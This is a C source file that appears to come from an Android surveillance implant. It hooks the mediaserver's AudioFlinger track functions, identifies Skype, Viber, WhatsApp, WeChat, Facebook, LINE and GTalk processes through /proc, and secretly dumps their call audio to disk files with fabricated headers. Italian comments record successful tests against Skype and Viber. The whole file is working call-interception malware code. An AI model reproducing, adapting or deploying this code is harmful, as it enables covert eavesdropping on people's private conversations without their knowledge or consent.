dbi_release/hijack_func/hooker_thumb.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <dlfcn.h>
#include <stdlib.h>
#include "libt.h"
#include "util.h"
#include <errno.h>
#include "hooker.h"
#include "uthash.h"
#include <string.h>
#include <unistd.h>
/*
* 20/08/2014
* Testato con skype/viber su 4.1 OK
* Testato con skype su 4.0 OK
* 21/08/2014
* Testato con skype su 4.2.2 failure
* Non viene recuperato il pid corretto e quindi la newTrack non crea la traccia di record
*/
#ifdef DEBUG
extern char tag[];
#endif
static int ip_register_offset = 0xd;
static int fd = 0;
static int fd_in = 0;
static int fd_out = 0;
struct cblk_t *cblkTracks = NULL;
struct cblk_t *cblkRecordTracks = NULL;
extern int android_version_ID;
extern unsigned int mname_offset;
extern unsigned int mname_this_offset;
extern unsigned int mStramType_this_offset;
extern unsigned int mState_offset;
extern unsigned int sample_rate_offset;
extern unsigned int mClient_thisP_offset;
extern unsigned int mPid_mClient_offset;
extern unsigned int mCblk_this_offset;
char *dumpPath = ".................____________.......................";
char * printTrackstate(track_state t){
switch (t){
case IDLE:
return "IDLE";
break;
case TERMINATED: return "TERMINATED";
break;
case FLUSHED:
return "FLUSHED";
break;
case STOPPED:
return "STOPPED";
break;
// next 2 states are currently used for fast tracks only
case STOPPING_1: // waiting for first underrun
return "STOPPING_1";
break;
case STOPPING_2: // waiting for presentation complete
return "STOPPING_2";
break;
case RESUMING:
return "RESUMING:";
break;
case ACTIVE:
return "ACTIVE";
break;
case PAUSING:
return "PAUSING";
break;
case PAUSED:
return "PAUSED";
break;
default:
break;
}
#ifdef DEBUG_HOOKFNC
log("state=%d",t);
#endif
return "UNKNOWN";
}
char local_started=0;
#define PRG_UNKNOWN_ID 0x0
#define PRG_GTALK_ID 0x0142
#define PRG_SKYPE_ID 0x0146
#define PRG_VIBER_ID 0x0148
#define PRG_WECHAT_ID 0x0149
#define PRG_LINE_ID 0x014a
#define PRG_WHATSAPP_ID 0x014b
#define PRG_FB_ID 0x014c
#define PRG_MEDIASERVER_ID 0x1
#define MAX_STRLEN 50
enum{
POS_SKYPE=0,
POS_VIBER,
POS_WHATSAPP,
POS_WECHAT,
POS_FACEBOOK,
POS_LINE,
POS_GTALK,
POS_MEDIA,
POS_RET,
POS_MAX
};
const char *pid_name[]={
"com.skype.raider",
"com.viber.voip",
"com.whatsapp",
"com.tencent.mm",
"com.facebook.",
"jp.naver.line.android",
"com.google.android.talk"
"/system/bin/mediaserver",
"unknown"
};
int last_pid_lookup[POS_MAX];
int last_pid_lookup_res[POS_MAX];
int last_found=-1;
int get_command_id(int pid) {
int i=0;
int found = 0;
if(pid<=0){
return 0;
}
if(last_pid_lookup[POS_RET]==pid){
found=1;
}
for(i=0;i<POS_RET&&found==0;i++)
{
if(last_pid_lookup[i]==pid){
last_pid_lookup_res[POS_RET]=last_pid_lookup_res[i];
last_found=i;
found=1;
}
}
if(found==0){
FILE *f;
char file[MAX_STRLEN], cmdline[MAX_STRLEN] = {0};
sprintf(file, "/proc/%d/cmdline", pid);
f = fopen(file, "r");
if (f) {
char *p = cmdline;
fgets(cmdline, MAX_STRLEN-1, f);
fclose(f);
cmdline[MAX_STRLEN-1]='\0';
while (*p) {
p += strlen(p);
if (*(p + 1)) {
*p = ' ';
}
p++;
}
last_pid_lookup[POS_RET] = pid;
if(strncmp(cmdline,pid_name[POS_SKYPE],16) == 0) {
last_pid_lookup[POS_SKYPE] = pid;
last_pid_lookup_res[POS_RET]=last_pid_lookup_res[POS_SKYPE] = PRG_SKYPE_ID;
last_found=POS_SKYPE;
}else if(strncmp(cmdline, pid_name[POS_VIBER],14) == 0) {
last_pid_lookup[POS_VIBER] = pid;
last_pid_lookup_res[POS_RET]=last_pid_lookup_res[POS_VIBER] = PRG_VIBER_ID;
last_found=POS_VIBER;
}else if(strncmp(cmdline, pid_name[POS_WHATSAPP],12) == 0) {
last_pid_lookup[POS_WHATSAPP] = pid;
last_pid_lookup_res[POS_RET]=last_pid_lookup_res[POS_WHATSAPP] = PRG_WHATSAPP_ID;
last_found=POS_WHATSAPP;
}else if(strncmp(cmdline, pid_name[POS_WECHAT],14) == 0) { //com.tencent.mm
last_pid_lookup[POS_WECHAT] = pid;
last_pid_lookup_res[POS_RET]=last_pid_lookup_res[POS_WECHAT] = PRG_WECHAT_ID;
last_found=POS_WECHAT;
}else if(strncmp(cmdline, pid_name[POS_FACEBOOK],13) == 0) {
last_pid_lookup[POS_FACEBOOK] = pid;
last_pid_lookup_res[POS_RET]=last_pid_lookup_res[POS_FACEBOOK] = PRG_FB_ID;
last_found=POS_FACEBOOK;
}else if(strncmp(cmdline, pid_name[POS_LINE],21) == 0) {
last_pid_lookup[POS_LINE] = pid;
last_pid_lookup_res[POS_RET]=last_pid_lookup_res[POS_LINE] = PRG_LINE_ID;
last_found=POS_LINE;
}else if(strncmp(cmdline,pid_name[POS_GTALK],23) == 0) {
last_pid_lookup[POS_GTALK] = pid;
last_pid_lookup_res[POS_RET]=last_pid_lookup_res[POS_GTALK] = PRG_GTALK_ID;
last_found=POS_GTALK;
}else if(strncmp(cmdline,pid_name[POS_MEDIA],23) == 0) {
last_pid_lookup[POS_MEDIA] = pid;
last_pid_lookup_res[POS_RET]=last_pid_lookup_res[POS_MEDIA] = PRG_MEDIASERVER_ID;
last_found=POS_MEDIA;
}else{
last_pid_lookup_res[POS_RET] = PRG_UNKNOWN_ID;
last_found=POS_RET;
}
} else {
#if defined DEBUG_HOOKFNC
log("unable to open file %s\n", file);
#endif
return 0;
}
}
#if defined DEBUG_HOOKFNC
if(last_found<POS_MAX && last_found>=0){
// log("[%d]%d=%s\n",last_found,pid,pid_name[last_found]);
}else{
// log("[%d]%d=%s\n",last_found,pid,"?unknown?");
}
#endif
return last_pid_lookup_res[POS_RET];
}
/* start signaling hooks */
#define USE_MNAME
void* recordTrackStart_h(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) {
void* (*h_ptr)(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w);
void* result;
int res;
#if defined DEBUG_HOOKFNC & !defined USE_MNAME
// log("\t\t\t------- enter recordTrackStart -------------\n");
#endif
h_ptr = (void *) recordTrackStart_helper.orig;
helper_precall(&recordTrackStart_helper);
result = h_ptr( a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, w);
#if defined DEBUG_HOOKFNC & !defined USE_MNAME
// log("\t\t\t\tresult: %d\n", (int) result);
#endif
helper_postcall(&recordTrackStart_helper);
#if defined DEBUG_HOOKFNC & !defined USE_MNAME
// log("\t\t\t------- exit recordTrackStart -------------\n");
#endif
return result;
}
unsigned int gtalk_keep=0;
struct cblk_t *cblk_gtalk = NULL;
char gtalkTrackId[11];
void* recordTrackStop_h(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) {
void* (*h_ptr)(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w);
void* result;
int res;
char *filename;
struct cblk_t *cblk_tmp;
unsigned long cblk;
unsigned int uintTmp;
time_t now;
#if defined DEBUG_HOOKFNC & !defined USE_MNAME
// log("\t\t\t------- enter recordTrackStop -------------\n");
#endif
h_ptr = (void *) recordTrackStop_helper.orig;
helper_precall(&recordTrackStop_helper);
result = h_ptr( a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, w);
helper_postcall(&recordTrackStop_helper);
#if defined DEBUG_HOOKFNC & !defined USE_MNAME
// log("\t\t\t\tresult: %d\n", (int) result);
#endif
cblk = *(unsigned long*) (a + mCblk_this_offset);
#ifdef DEBUG_HOOKFNC
// log("\tstop track cblk_id: %x\n", cblk);
#endif
h_ptr = (void *) recordTrackStop_helper.orig;
helper_precall(&recordTrackStop_helper);
result = h_ptr( a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, w);
helper_postcall(&recordTrackStop_helper);
// log("\t\t\t\tresult: %d\n", (int) result);
HASH_FIND_INT( cblkRecordTracks, &cblk, cblk_tmp);
if( cblk_tmp != NULL ) {
// TODO: temporary fix
if( cblk_tmp->stopDump == 1) {
#ifdef DEBUG_HOOKFNC
log("\trecordTrackStop already called\n");
#endif
return result;
}
cblk_tmp->stopDump = 1;
/* write fake final header */
now = time(NULL);
write(cblk_tmp->fd, &now, 4); // 1] epoch start
uintTmp = 0xf00df00d;
write(cblk_tmp->fd, &uintTmp, 4); // 3] streamType
uintTmp = cblk_tmp->sampleRate;
write(cblk_tmp->fd, &uintTmp, 4); // 4] sampleRate
uintTmp = 0;
write(cblk_tmp->fd, &uintTmp, 4); // 5] size of block - 0 for last block
/* rename file to .tmp and free the cblk structure */
#ifdef DEBUG_HOOKFNC
log("Stop: should take a dump: %s\n", (cblk_tmp->filename!=NULL)?cblk_tmp->filename:"none");
#endif
if(cblk_tmp->filename!=NULL){
/* rename file *.bin to *.tmp */
filename = strdup(cblk_tmp->filename); // check return value
*(filename+strlen(filename)-1) = 'p';
*(filename+strlen(filename)-2) = 'm';
*(filename+strlen(filename)-3) = 't';
res = rename(cblk_tmp->filename, filename);
#ifdef DEBUG_HOOKFNC
// log("fname %s\n", filename);
// log("rename %d\n", res );
#endif
// 12/10
if( filename != NULL) {
free(filename);
filename = NULL;
}
}
close(cblk_tmp->fd);
cblk_tmp->fd = -1;
/* free some stuff */
if( cblk_tmp->trackId != NULL ) {
free(cblk_tmp->trackId);
cblk_tmp->trackId = NULL;
}
if( cblk_tmp->filename != NULL ) {
free(cblk_tmp->filename);
cblk_tmp->filename = NULL;
}
/* for playback tracks we keep the structure,
for record we can free since the new track
is created from within the dumper
*/
HASH_DEL(cblkRecordTracks, cblk_tmp);
if( cblk_tmp->pid == PRG_GTALK_ID && cblk_gtalk != NULL && cblk_gtalk->streamType == 0 && cblk_gtalk->filename != NULL){
#ifdef DEBUG_HOOKFNC
log("[gtalk]:finalyzing also: %s\n", cblk_gtalk->filename);
#endif
gtalk_keep = 0;
dump_playbackTrack(cblk_gtalk);
if( cblk_gtalk->trackId != NULL ) {
free(cblk_gtalk->trackId);
cblk_gtalk->trackId = NULL;
}
if( cblk_gtalk->filename != NULL ) {
free(cblk_gtalk->filename);
cblk_gtalk->filename = NULL;
}
cblk_gtalk->lastStatus = STATUS_STOP;
HASH_DEL(cblkTracks, cblk_gtalk);
free(cblk_gtalk);
cblk_gtalk = NULL;
}
free(cblk_tmp);
local_started=0;
#ifdef DEBUG_HOOKFNC
// log("freed all the stuff\n");
#endif
}
#ifdef DEBUG_HOOKFNC
// log("\t\t\t------- exit recordTrackStop -------------\n");
#endif
return result;
}
void* newTrack_h(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) {
void* (*h_ptr)(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w);
void *result;
unsigned long cblk;
unsigned int sampleRate;
ssize_t res;
/* int ii, cblkIndex; */
unsigned int uintTmp;
struct cblk_t *cblk_tmp= NULL;
off_t headerStart = 0, positionTmp = 0;
time_t now;
int tt = 0xf;
unsigned int bufferRaw = 0;
unsigned int framesCount = 0;
unsigned int frameSize = 0;
char randString[11]; // rand %d 10 + null;
char timestamp[11]; // epoch %ld 10 + null;
char pidC[11]; // pid %d 10 +null
int filenameLength = 0;
char *filename;
char* tmp;
int written;
int streamType = (int) d;
int pid =0;
#ifdef DEBUG_HOOKFNC
// log("enter new track\n");
// log("\tpbthread: %x\n\tclient: %x\n\tstreamType: %x\n\tsampleRate: %d\n\tformat: %x\n\tchannelMask: %x\n\tframeCount: %x\n\tsharedBuffer: %x\n\tsessionId: %x\n\ttid: %x\n\tflags: %x\n", b, c,d, e, f, g, h, i, l, m, n);
#endif
h_ptr = (void *) newTrack_helper.orig;
helper_precall(&newTrack_helper);
result = h_ptr( a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, w);
helper_postcall(&newTrack_helper);
cblk = *(unsigned long*) (a + mCblk_this_offset);
/* rettifica il vero pid si trova in : questo per il >4.3 , ma se cosi fosse allora tutti i calcoli su b sono errati?? per il 4.3??
* (gdb) p/x (int)&(('android::AudioFlinger::Client' *)0)->mPid ovver b->mPid
* $7 = 0x10
*
*/
unsigned long mClient;
mClient = *(unsigned long*) (a + mClient_thisP_offset);
pid = *(int*) (mClient + mPid_mClient_offset );
#ifdef DEBUG_HOOKFNC
log("\tnew track cblk: %p calling pid=%d\n ", cblk,pid);
#endif
if(pid>0){
int tmp=0;
tmp=get_command_id(pid);
#ifdef DEBUG_HOOKFNC
if(tmp<=0 && streamType==0){
log("pid %d not found",pid);
}
#endif
pid=tmp;
}else{
pid=0;
}
// ----------------------------------
/* fetch the necessary fields */
#ifdef DEBUG_HOOKFNC
// log("\t\t\tcblk flags %x\n", *(signed int*) (cblk + 0x3c));
#endif
/* [3] */
if (android_version_ID >= ANDROID_V_4_3)
frameSize = *(unsigned char *) (a + 0x40 );
else
frameSize = *(unsigned char *) (cblk + 0x34 );
#ifdef DEBUG_HOOKFNC
// log("\t\t\tframeSize %x\n", frameSize);
#endif
// not really useful, info only
if (android_version_ID >= ANDROID_V_4_3){
sampleRate = (unsigned int) e;
}else{
sampleRate = *(unsigned int*) (cblk + 0x30);
}
#ifdef DEBUG_HOOKFNC
// log("\t\t\tsampleRate %d\n", sampleRate);
#endif
/* [2] second field within AudioBufferProvider */
framesCount = * (unsigned int*) (b + 4);
#ifdef DEBUG_HOOKFNC
// log("\t\t\tframesCount %x\n", framesCount);
#endif
/* [1] first field (ptr) within AudioBufferProvider */
bufferRaw = *(unsigned int*) (b);
// add the cblk to the tracks list, if
// we don't find it, it might be because
// the injection took place after the track
// was created
//log("start hash find\n");
/* TODO evitare il tracking di tutta la traccia
* quindi sia nella tabella di hash */
if( pid>PRG_MEDIASERVER_ID ) {
HASH_FIND_INT( cblkTracks, &cblk, cblk_tmp);
if( cblk_tmp != NULL ){
//this is here because of the old call, FREE IT!!!
if(cblk_tmp->fd != -1)
close(cblk_tmp->fd);
cblk_tmp->fd = -1;
if( cblk_tmp->filename != NULL ) {
#ifdef DEBUG_HOOKFNC
log("FREEING LEFTOVER: %s", cblk_tmp->filename);
#endif
free(cblk_tmp->filename);
cblk_tmp->filename = NULL;
}else{
#ifdef DEBUG_HOOKFNC
log("FREEING LEFTOVER: for %p", cblk);
#endif
}
if( cblk_tmp->trackId != NULL ) {
free(cblk_tmp->trackId);
cblk_tmp->trackId = NULL;
}
HASH_DEL(cblkTracks, cblk_tmp);
free(cblk_tmp);
cblk_tmp =NULL;
}
if( cblk_tmp == NULL ){
cblk_tmp = malloc( sizeof(struct cblk_t) );
cblk_tmp->filename=NULL;
cblk_tmp->cblk_index = cblk;
cblk_tmp->streamType = streamType;
cblk_tmp->lastStatus = STATUS_NEW;
cblk_tmp->pid=pid;
if(pid == PRG_GTALK_ID && gtalk_keep){
#ifdef DEBUG_HOOKFNC
log("[gtalk] keeping old trackId %s\n", gtalkTrackId);
#endif
snprintf(randString, 11, "%s", gtalkTrackId);
}else{
snprintf(randString, 11, "%lu", mrand48());
}
snprintf(timestamp, 11, "%d", time(NULL));
snprintf(pidC, 11, "%d", pid);
cblk_tmp->trackId = strdup(randString);
#ifdef DEBUG_HOOKFNC
// log("trackId: %s\n", cblk_tmp->trackId);
#endif
// Qi-<timestamp>-<id univoco per chiamata>-<canale>.[tmp|boh]
// length: 2-strlen(timestamp)-strlen(randString)-1.3.1 + 3 chars for '-'
// filenameLength including null
if( cblk_tmp->streamType == 0 ) {
if(local_started || (pid!=PRG_SKYPE_ID&&pid>PRG_MEDIASERVER_ID)){
filenameLength = strlen(dumpPath) + 1 + 2 + strlen(timestamp) + strlen(randString) + 1 + 4 + 1 + 3+1+strlen(pidC);
cblk_tmp->filename = malloc( sizeof(char) * filenameLength );
snprintf(cblk_tmp->filename, filenameLength, "%s/Qi-%s-%s-%s-r.bin", dumpPath, timestamp, randString,pidC );
#ifdef DEBUG_HOOKFNC
if(cblk_tmp->pid==PRG_MEDIASERVER_ID)
log("trackId: %s owned by mediaserver ", cblk_tmp->trackId);
#endif
cblk_tmp->fd = open(cblk_tmp->filename, O_RDWR | O_CREAT , S_IRUSR | S_IRGRP | S_IROTH);
#ifdef DEBUG_HOOKFNC
log("filename: %s open %s sampleRate %d", cblk_tmp->filename,(cblk_tmp->fd>1)?"OK":"FAILED",sampleRate);
#endif
}else{
#ifdef DEBUG_HOOKFNC
log("create file when local has sarted");
#endif
}
}
cblk_tmp->frameCount = *(unsigned int*) (cblk + 0x1c);
cblk_tmp->lastBufferRaw = bufferRaw;
cblk_tmp->lastFrameCount = framesCount;
cblk_tmp->lastFrameSize = frameSize;
cblk_tmp->sampleRate = sampleRate;
HASH_ADD_INT(cblkTracks, cblk_index, cblk_tmp); // new track
cblk_tmp = NULL;
HASH_FIND_INT( cblkTracks, &cblk, cblk_tmp);
if( cblk_tmp == NULL ) {
#ifdef DEBUG_HOOKFNC
log("uthash issue\n");
#endif
return result;
}
#ifdef DEBUG_HOOKFNC
//log("\tnew Track added cblk\n");
#endif
}else{
#ifdef DEBUG_HOOKFNC
log("WTF something very wrong bob!!! cblk_tmp should be NULL!!!");
#endif
}
}
#ifdef DEBUG_HOOKFNC
// log("\t\t\t----------- exit new track %p %p ------------------\n", result, a)
#endif
return result;
}
void* playbackTrackStart_h(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) {
void* (*h_ptr)(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w);
void* result;
int res;
unsigned long cblk;
struct cblk_t *cblk_tmp= NULL;
char randString[11]; // rand %d 10 + null;
char timestamp[11]; // epoch %ld 10 + null;
int filenameLength = 0;
char *filename;
#ifdef DEBUG_HOOKFNC
// log("\t\t\t------- enter playbackTrackStart -------------\n");
// log("enter start track %x\n", a);
// log("\tevent: %x\n\ttriggerSession: %x\n\n", b, c);
#endif
cblk = *(unsigned long*) (a + mCblk_this_offset);
HASH_FIND_INT( cblkTracks, &cblk, cblk_tmp);
if( cblk_tmp != NULL ) {
#ifdef DEBUG_HOOKFNC
log("\tcblk found %x last known status %s\n", cblk, (cblk_tmp->lastStatus==STATUS_STOP)?"STOP":"START");
#endif
/* if status is STATUS_STOP, create the fields freed by stop event */
if( cblk_tmp->lastStatus == STATUS_STOP && local_started) {
#ifdef USE_OLD_NAME
/* use old trackId and filename */
*(cblk_tmp->filename+strlen(cblk_tmp->filename)-1) = 'n';
*(cblk_tmp->filename+strlen(cblk_tmp->filename)-2) = 'i';
*(cblk_tmp->filename+strlen(cblk_tmp->filename)-3) = 'b';
cblk_tmp->fd = open(cblk_tmp->filename, O_RDWR | O_CREAT , S_IRUSR | S_IRGRP | S_IROTH);
#ifdef DEBUG_HOOKFNC
log("reusing filename: %s open:%s\n", cblk_tmp->filename,(cblk_tmp->fd>1)?"OK":"FAILED");
#endif
#else //ifdef USE_OLD_NAME
/* DON'T reuse old filename, just keep the track id */
unsigned long mClient;
char pidC[11]; // pid %d 10 +null
mClient = *(unsigned long*) (a + mClient_thisP_offset);
int pid = *(int*) (mClient + mPid_mClient_offset );
#ifdef DEBUG_HOOKFNC
log("\tnew playbackTrackStart_h cblk: %p calling pid=%d\n ", cblk,pid);
#endif
if(pid>0){
int tmp=0;
tmp=get_command_id(pid);
#ifdef DEBUG_HOOKFNC
if(tmp<=0 ){
log("pid %d not found",pid);
}
#endif
pid=tmp;
}else{
pid=0;
}
if( pid>PRG_MEDIASERVER_ID ) {
snprintf(timestamp, 11, "%d", time(NULL));
snprintf(pidC, 11, "%d", cblk_tmp->pid);
filenameLength = strlen(dumpPath) + 1 + 2 + strlen(timestamp) + strlen(cblk_tmp->trackId) + 1 + 4 + 1 + 3 +1 + strlen(pidC);
cblk_tmp->filename = realloc(cblk_tmp->filename, sizeof(char) * filenameLength );
snprintf(cblk_tmp->filename, filenameLength, "%s/Qi-%s-%s-%s-r.bin", dumpPath, timestamp, cblk_tmp->trackId,pidC );
cblk_tmp->fd = open(cblk_tmp->filename, O_RDWR | O_CREAT , S_IRUSR | S_IRGRP | S_IROTH);
#ifdef DEBUG_HOOKFNC
log("new filename created same trackID: %s open:%s\n", cblk_tmp->filename,(cblk_tmp->fd>1)?"OK":"FAILED");
#endif
}
#endif //ifdef USE_OLD_NAME
}
}
else {
#ifdef DEBUG_HOOKFNC
//log("\tcblk not found %x\n", cblk);
#endif
}
h_ptr = (void *) playbackTrackStart_helper.orig;
helper_precall(&playbackTrackStart_helper);
result = h_ptr( a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, w);
helper_postcall(&playbackTrackStart_helper);
#ifdef DEBUG_HOOKFNC
// log("\t\t\t\tresult: %d\n", (int) result);
// log("\t\t\t------- exit playbackTrackStart -------------\n");
#endif
return result;
}
void* dump_playbackTrack(struct cblk_t *cblk_tmp)
{
time_t now;
char *filename;
unsigned int uintTmp;
if( cblk_tmp != NULL && cblk_tmp->streamType == 0 && cblk_tmp->filename!=NULL) {
if(PRG_GTALK_ID == cblk_tmp->pid && gtalk_keep){
now = time(NULL);
#ifdef DEBUG_HOOKFNC
log("dump_playbackTrack do not write fake header\n");
#endif
}else{
/* write fake final header */
now = time(NULL);
write(cblk_tmp->fd, &now, 4); // 1] epoch start
uintTmp = 0xf00df00d;
write(cblk_tmp->fd, &uintTmp, 4); // 3] streamType
uintTmp = cblk_tmp->sampleRate;
write(cblk_tmp->fd, &uintTmp, 4); // 4] sampleRate
uintTmp = 0;
write(cblk_tmp->fd, &uintTmp, 4); // 5] size of block - 0 for last block
}
/* rename file to .tmp and free the cblk structure */
/* rename file *.bin to *.tmp */
filename = strdup(cblk_tmp->filename); // check return value
*(filename+strlen(filename)-1) = 'p';
*(filename+strlen(filename)-2) = 'm';
*(filename+strlen(filename)-3) = 't';
#ifdef DEBUG_HOOKFNC
log("dump_playbackTrack %s FINALIZED\n", filename);
#endif
rename(cblk_tmp->filename, filename);
if( filename != NULL)
free(filename);
close(cblk_tmp->fd);
cblk_tmp->fd = -1;
/* free some stuff */
//if( cblk_tmp->trackId != NULL ) {
// free(cblk_tmp->trackId);
// cblk_tmp->trackId = NULL;
//}
//if( cblk_tmp->filename != NULL ) {
// free(cblk_tmp->filename);
// cblk_tmp->filename = NULL;
//}
/* 14/04/14
patch for weird skype events
1] newTrack
2] start track
3] stop track
4] start track again
*/
cblk_tmp->lastStatus = STATUS_STOP;
//HASH_DEL(cblkTracks, cblk_tmp);
//free(cblk_tmp);
#ifdef DEBUG_HOOKFNC
// log("freed all the stuff %x\n", cblk);
#endif
}else{
#ifdef DEBUG_HOOKFNC
log("invalid track passed\n");
#endif
}
}
void* playbackTrackStop_h(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) {
void* (*h_ptr)(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w);
void* result;
int res;
unsigned int cblk;
struct cblk_t *cblk_tmp = NULL;
#ifdef DEBUG_HOOKFNC
// log("\t\t\t------- enter playbackTrackStop -------------\n");
#endif
cblk = *(unsigned long*) (a + mCblk_this_offset);
#ifdef DEBUG_HOOKFNC
log("\ttrack cblk: %x\n", cblk);
#endif
h_ptr = (void *) playbackTrackStop_helper.orig;
helper_precall(&playbackTrackStop_helper);
result = h_ptr( a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, w);
helper_postcall(&playbackTrackStop_helper);
#ifdef DEBUG_HOOKFNC
// log("\t\t\t\tresult: %d\n", (int) result);
#endif
HASH_FIND_INT( cblkTracks, &cblk, cblk_tmp);
if( cblk_tmp != NULL && cblk_tmp->streamType == 0 && cblk_tmp->filename!=NULL) {
if(cblk_tmp->pid == PRG_GTALK_ID && local_started){
#ifdef DEBUG_HOOKFNC
log("[gtalk] keep old trackId %s\n", cblk_tmp->trackId);
#endif
gtalk_keep=1;
cblk_gtalk = cblk_tmp;
snprintf(gtalkTrackId, 11, "%s", cblk_tmp->trackId);
}else{
gtalk_keep = 0;
cblk_gtalk = NULL;
}
dump_playbackTrack(cblk_tmp);
}else{
#ifdef DEBUG_HOOKFNC
log("track %x not found \n", cblk);
#endif
}
#ifdef DEBUG_HOOKFNC
//log("\t\t\t------- exit playbackTrackStop -------------\n");
#endif
return result;
}
void* playbackTrackPause_h(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) {
void* (*h_ptr)(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w);
void* result;
int res;
unsigned long cblk;
struct cblk_t *cblk_tmp= NULL;
char *filename;
unsigned int uintTmp;
time_t now;
#ifdef DEBUG_HOOKFNC
// log("\t\t\t------- enter playbackTrackPause -------------\n");
#endif
cblk = *(unsigned long*) (a + mCblk_this_offset);
HASH_FIND_INT( cblkTracks, &cblk, cblk_tmp);
if( cblk_tmp != NULL && cblk_tmp->filename == 0) {
#ifdef DEBUG_HOOKFNC
log("\tcblk: %x filename %s\n", cblk,cblk_tmp->filename);
#endif
}
h_ptr = (void *) playbackTrackStart_helper.orig;
helper_precall(&playbackTrackStart_helper);
result = h_ptr( a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, w);
helper_postcall(&playbackTrackStart_helper);
/* questo if viene fatto nel caso in cui la traccia venga messa in pausa per tutta la chiamata
,per evitare che nella chiamata successiva venga riaperta e chiusa , la chiudiamo immediatamente
if(android_version_ID < ANDROID_V_4_3){
HASH_FIND_INT( cblkTracks, &cblk, cblk_tmp);
if( cblk_tmp != NULL && cblk_tmp->pid==PRG_MEDIASERVER_ID && cblk_tmp->streamType == 0) {
// write fake final header
now = time(NULL);
write(cblk_tmp->fd, &now, 4); // 1] epoch start
uintTmp = 0xf00df00d;
write(cblk_tmp->fd, &uintTmp, 4); // 3] streamType
uintTmp = cblk_tmp->sampleRate;
write(cblk_tmp->fd, &uintTmp, 4); // 4] sampleRate
uintTmp = 0;
write(cblk_tmp->fd, &uintTmp, 4); // 5] size of block - 0 for last block
// rename file to .tmp and free the cblk structure
// rename file *.bin to *.tmp
filename = strdup(cblk_tmp->filename); // check return value
*(filename+strlen(filename)-1) = 'p';
*(filename+strlen(filename)-2) = 'm';
*(filename+strlen(filename)-3) = 't';
#ifdef DEBUG_HOOKFNC
log("fname %s FINALIZED\n", filename);
//log("rename %d\n", rename(cblk_tmp->filename, filename) );
#endif
rename(cblk_tmp->filename, filename);
if( filename != NULL)
free(filename);
close(cblk_tmp->fd);
if( cblk_tmp->filename != NULL ) {
free(cblk_tmp->filename);
cblk_tmp->filename = NULL;
}
cblk_tmp->lastStatus = STATUS_STOP;
HASH_DEL(cblkTracks, cblk_tmp);
free(cblk_tmp);
}
}
*/
#ifdef DEBUG_HOOKFNC
// log("\t\t\t\tresult: %d\n", (int) result);
// log("\t\t\t------- exit playbackTrackPause -------------\n");
#endif
return result;
}
//TODO: provare a hoockare al seguente000343a5 g F .text 00000100 android::AudioFlinger::PlaybackThread::threadLoop_write() per 4.3
// 000343a5 g F .text 00000100 _ZN7android12AudioFlinger14PlaybackThread16threadLoop_writeEv
/*
void AudioFlinger::PlaybackThread::threadLoop_write()
1647{
1648 // FIXME rewrite to reduce number of system calls
1649 mLastWriteTime = systemTime();
1650 mInWrite = true;
1651 int bytesWritten;
1652
1653 // If an NBAIO sink is present, use it to write the normal mixer's submix
1654 if (mNormalSink != 0) {
1655#define mBitShift 2 // FIXME
1656 size_t count = mixBufferSize >> mBitShift;
1657 ATRACE_BEGIN("write");
1658 // update the setpoint when AudioFlinger::mScreenState changes
1659 uint32_t screenState = AudioFlinger::mScreenState;
1660 if (screenState != mScreenState) {
1661 mScreenState = screenState;
1662 MonoPipe *pipe = (MonoPipe *)mPipeSink.get();
1663 if (pipe != NULL) {
1664 pipe->setAvgFrames((mScreenState & 1) ?
1665 (pipe->maxFrames() * 7) / 8 : mNormalFrameCount * 2);
1666 }
1667 }
1668 ssize_t framesWritten = mNormalSink->write(mMixBuffer, count);
1669 ATRACE_END();
1670 if (framesWritten > 0) {
1671 bytesWritten = framesWritten << mBitShift;
1672 } else {
1673 bytesWritten = framesWritten;
1674 }
1675 // otherwise use the HAL / AudioStreamOut directly
1676 } else {
1677 // Direct output thread.
1678 bytesWritten = (int)mOutput->stream->write(mOutput->stream, mMixBuffer, mixBufferSize);
1679 }
1680
1681 if (bytesWritten > 0) {
1682 mBytesWritten += mixBufferSize;
1683 }
1684 mNumWrites++;
1685 mInWrite = false;
1686}
